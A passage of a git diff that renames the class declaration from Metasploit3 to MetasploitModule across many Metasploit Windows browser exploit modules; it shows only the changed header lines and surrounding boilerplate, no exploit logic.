b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb index 8abc7a8ae0..0a0583a308 100644 --- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb index d9bc4a1265..66e44e1579 100644 --- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb +++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/intrust_annotatex_add.rb b/modules/exploits/windows/browser/intrust_annotatex_add.rb index 9456b7d5b6..3f626ef961 100644 --- a/modules/exploits/windows/browser/intrust_annotatex_add.rb +++ b/modules/exploits/windows/browser/intrust_annotatex_add.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/java_basicservice_impl.rb b/modules/exploits/windows/browser/java_basicservice_impl.rb index 3e75330b62..dce454f29d 100644 --- a/modules/exploits/windows/browser/java_basicservice_impl.rb +++ b/modules/exploits/windows/browser/java_basicservice_impl.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer diff --git a/modules/exploits/windows/browser/java_cmm.rb b/modules/exploits/windows/browser/java_cmm.rb index 7ca72c586c..dd6140d2f9 100644 --- a/modules/exploits/windows/browser/java_cmm.rb +++ b/modules/exploits/windows/browser/java_cmm.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/java_codebase_trust.rb b/modules/exploits/windows/browser/java_codebase_trust.rb index cc88830088..1d3e0e9eea 100644 --- a/modules/exploits/windows/browser/java_codebase_trust.rb +++ b/modules/exploits/windows/browser/java_codebase_trust.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/java_docbase_bof.rb b/modules/exploits/windows/browser/java_docbase_bof.rb index 52425ef4c4..c8a8cbcec7 100644 --- a/modules/exploits/windows/browser/java_docbase_bof.rb +++ b/modules/exploits/windows/browser/java_docbase_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # diff --git a/modules/exploits/windows/browser/java_mixer_sequencer.rb b/modules/exploits/windows/browser/java_mixer_sequencer.rb index d6c31e3ecb..5817b6720e 100644 --- a/modules/exploits/windows/browser/java_mixer_sequencer.rb +++ b/modules/exploits/windows/browser/java_mixer_sequencer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb index bed81f6b2e..063a6aef3d 100644 --- a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb +++ b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # diff --git a/modules/exploits/windows/browser/java_ws_double_quote.rb b/modules/exploits/windows/browser/java_ws_double_quote.rb index f57b207b6d..87ac933b9f 100644 --- a/modules/exploits/windows/browser/java_ws_double_quote.rb +++ b/modules/exploits/windows/browser/java_ws_double_quote.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # diff --git a/modules/exploits/windows/browser/java_ws_vmargs.rb b/modules/exploits/windows/browser/java_ws_vmargs.rb index e832ba3f89..74323a296a 100644 --- a/modules/exploits/windows/browser/java_ws_vmargs.rb +++ b/modules/exploits/windows/browser/java_ws_vmargs.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # diff --git a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb index c72124cf60..12a30108ab 100644 --- a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb +++ b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/kazaa_altnet_heap.rb b/modules/exploits/windows/browser/kazaa_altnet_heap.rb index c6cce237eb..04f1329b5c 100644 --- a/modules/exploits/windows/browser/kazaa_altnet_heap.rb +++ b/modules/exploits/windows/browser/kazaa_altnet_heap.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb index 4502c63b37..601a07fd74 100644 --- a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb +++ b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/logitechvideocall_start.rb b/modules/exploits/windows/browser/logitechvideocall_start.rb index 4397a6b09a..96f993ef29 100644 --- a/modules/exploits/windows/browser/logitechvideocall_start.rb +++ b/modules/exploits/windows/browser/logitechvideocall_start.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/lpviewer_url.rb b/modules/exploits/windows/browser/lpviewer_url.rb index 4f9d33b47f..9dd79abcbb 100644 --- a/modules/exploits/windows/browser/lpviewer_url.rb +++ b/modules/exploits/windows/browser/lpviewer_url.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb index d3a8fb15d1..038cb41bda 100644 --- a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb +++ b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/macrovision_unsafe.rb b/modules/exploits/windows/browser/macrovision_unsafe.rb index dc41c99c65..c15b5dcd61 100644 --- a/modules/exploits/windows/browser/macrovision_unsafe.rb +++ b/modules/exploits/windows/browser/macrovision_unsafe.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/malwarebytes_update_exec.rb b/modules/exploits/windows/browser/malwarebytes_update_exec.rb index db740e9bdd..7714407a8c 100644 --- a/modules/exploits/windows/browser/malwarebytes_update_exec.rb +++ b/modules/exploits/windows/browser/malwarebytes_update_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # Would be Great except MBAE doesn't version check include Msf::Exploit::EXE diff --git a/modules/exploits/windows/browser/maxthon_history_xcs.rb b/modules/exploits/windows/browser/maxthon_history_xcs.rb index 89d894554c..f501d3b651 100644 --- a/modules/exploits/windows/browser/maxthon_history_xcs.rb +++ b/modules/exploits/windows/browser/maxthon_history_xcs.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb index ff4cf01a15..0bd3a05ebf 100644 --- a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb +++ b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb index 2d39cac1ad..eca4fd4e7d 100644 --- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb +++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb b/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb index 525a9b842d..9828cf2c15 100644 --- a/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb +++ b/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mirc_irc_url.rb b/modules/exploits/windows/browser/mirc_irc_url.rb index e5ab64c876..e8877e1ed5 100644 --- a/modules/exploits/windows/browser/mirc_irc_url.rb +++ b/modules/exploits/windows/browser/mirc_irc_url.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb index 7cba8400bc..e431231c46 100644 --- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb +++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb index 06ef17e639..635d5fc3be 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb index ac509c6e3d..3af07119d9 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb index 509d30f471..be9b94bf4a 100644 --- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb +++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # diff --git a/modules/exploits/windows/browser/mozilla_mchannel.rb b/modules/exploits/windows/browser/mozilla_mchannel.rb index 6f5fcddffe..351ab5261d 100644 --- a/modules/exploits/windows/browser/mozilla_mchannel.rb +++ b/modules/exploits/windows/browser/mozilla_mchannel.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb index 287360a20a..6b09d042d0 100644 --- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb +++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index 496bbf0123..46ba71e46e 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mozilla_reduceright.rb b/modules/exploits/windows/browser/mozilla_reduceright.rb index 7f378c62e7..2a78db1bb5 100644 --- a/modules/exploits/windows/browser/mozilla_reduceright.rb +++ b/modules/exploits/windows/browser/mozilla_reduceright.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb index 068a4c1a46..afe4d9aa3e 100644 --- a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb +++ b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms05_054_onload.rb b/modules/exploits/windows/browser/ms05_054_onload.rb index 300685a93e..9027e3b800 100644 --- a/modules/exploits/windows/browser/ms05_054_onload.rb +++ b/modules/exploits/windows/browser/ms05_054_onload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb index 65f8e87a6b..56b3424194 100644 --- a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb +++ b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # diff --git a/modules/exploits/windows/browser/ms06_013_createtextrange.rb b/modules/exploits/windows/browser/ms06_013_createtextrange.rb index 8a7966917d..a2f3bf5b41 100644 --- a/modules/exploits/windows/browser/ms06_013_createtextrange.rb +++ b/modules/exploits/windows/browser/ms06_013_createtextrange.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms06_055_vml_method.rb b/modules/exploits/windows/browser/ms06_055_vml_method.rb index bf5f1f7495..ec0c79bc03 100644 --- a/modules/exploits/windows/browser/ms06_055_vml_method.rb +++ b/modules/exploits/windows/browser/ms06_055_vml_method.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb index 16b12abc37..958c1649d1 100644 --- a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb +++ b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms06_067_keyframe.rb b/modules/exploits/windows/browser/ms06_067_keyframe.rb index 775de5a215..fe0e20f400 100644 --- a/modules/exploits/windows/browser/ms06_067_keyframe.rb +++ b/modules/exploits/windows/browser/ms06_067_keyframe.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # diff --git a/modules/exploits/windows/browser/ms06_071_xml_core.rb b/modules/exploits/windows/browser/ms06_071_xml_core.rb index 98c92b6610..533beb1042 100644 --- a/modules/exploits/windows/browser/ms06_071_xml_core.rb +++ b/modules/exploits/windows/browser/ms06_071_xml_core.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb index ebe1eb2403..812cd9d774 100644 --- a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # diff --git a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb index b53071abb3..09f40510e4 100644 --- a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb +++ b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb index fc5f2e8ab7..e069312a05 100644 --- a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb +++ b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb index 8834323960..bddfbd2985 100644 --- a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb +++ b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb index 9d941bb40b..d1bb4018fe 100644 --- a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb +++ b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb index 3f2dc970a4..fb953019b4 100644 --- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb +++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # diff --git a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb index 4c883ed1f3..5d223c0b62 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb index 548fc18a29..8bef321090 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms09_072_style_object.rb b/modules/exploits/windows/browser/ms09_072_style_object.rb index e31cd4d028..db5edffd29 100644 --- a/modules/exploits/windows/browser/ms09_072_style_object.rb +++ b/modules/exploits/windows/browser/ms09_072_style_object.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms10_002_aurora.rb b/modules/exploits/windows/browser/ms10_002_aurora.rb index bb682e0e02..41e2c4b8f7 100644 --- a/modules/exploits/windows/browser/ms10_002_aurora.rb +++ b/modules/exploits/windows/browser/ms10_002_aurora.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb index 5ba8df594e..c8c48f817f 100644 --- a/modules/exploits/windows/browser/ms10_002_ie_object.rb +++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb index 38abad66ba..3bc77c655b 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb @@ -22,7 +22,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb index ef07915e4a..205ab89161 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb index 497cd2818f..097cae4618 100644 --- a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb +++ b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb index f6283f3c4d..a0d8c78154 100644 --- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb +++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb index 3b272637f1..d6f2f8e684 100644 --- a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb +++ b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # diff --git a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb index 76165d8a84..5e71f5dabc 100644 --- a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index 74898d9b7d..fa32a72eb7 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb index cbb1e33a3e..00a7558b92 100644 --- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # Need more love for Great include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb index 037424e5c5..8d6ebad0b1 100644 --- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb +++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb index 51c62c2f9b..b31eaf3ef2 100644 --- a/modules/exploits/windows/browser/ms11_081_option.rb +++ b/modules/exploits/windows/browser/ms11_081_option.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = 